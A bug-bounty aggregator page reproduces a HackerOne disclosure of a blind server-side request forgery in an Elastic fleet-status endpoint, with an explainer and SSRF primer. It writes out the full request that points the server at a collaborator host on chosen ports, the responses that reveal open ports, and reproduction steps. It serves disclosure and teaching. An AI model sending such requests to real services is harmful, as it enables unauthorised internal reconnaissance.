Skip to content
SSRF Disclosed report Intermediate

blind Server-Side Request Forgery (SSRF) allows scanning internal ports

The fleet-status application accepted a user-supplied URL and made a server-side request to it, returning different responses depending on whether the target port was open. An attacker could use this to scan internal ports and perform reconnaissance.

lu3ky-13 Follow with 0nlymohammed, mosec9 and 5 others

Originally disclosed on HackerOne

Medium 6.7 View original
  • Triaged in 7 days
  • Fixed in 20 months
  • Paid in 12 days
  • Disclosed after 21 months

hello dear support

I found a Blind SSRF issue that allows scanning internal ports. on https://fleet-status.app.elstc.co

from this issue, you can check the server port

HTTP request

GET /api/v1/http/default/raw?regex=%22service.name%22:/s*%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1 Host: fleet-status.app.elstc.co User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Te: trailers Connection: close

if you add port 22 you will get

{"type":"HTTP-RAW","status":"WARNING","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22","message":"timeout/host unreachable"}

not open

if you add port 80

response {"type":"HTTP-RAW","status":"FAILURE","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80","value":{"values":["\u003chtml\u003e\u003cbody\u003eift3z4lojdng3fv7r68q5szjigz\u003c/body\u003e\u003c/html\u003e"],"unit":"RAW"}}

port 80 open

Impact

Since this is a blind SSRF, it is not possible to read the response of HTTP requests. However this vulnerability can be used for reconnaissance. Example: Port Scan by measuring response time

The original report as published on HackerOne, by lu3ky-13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint accepted an arbitrary URL and performed a server-side HTTP request without restricting the destination host or port.

Impact

Because it is blind, the response body cannot be read, but the differing responses allow port scanning and internal reconnaissance.

What the attacker needed

Ability to send requests to the fleet-status endpoint; a collaborator or external host to point the URL at

How it was found

  1. Send a request to the raw HTTP endpoint with a URL pointing to an external collaborator on port 22.
  2. Observe the timeout/unreachable response, indicating the port is closed.
  3. Send the same request with the URL pointing to port 80 on the collaborator.
  4. Observe a successful response containing the collaborator's HTML, indicating the port is open.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An SSRF lets a site fetch a URL you supply from its own servers. Here a fleet-status endpoint fetched a URL you gave it, and the response differed depending on whether the port was open, letting an attacker probe ports.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by lu3ky-13

View all

30 more disclosed reports, best first.

More from Elastic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.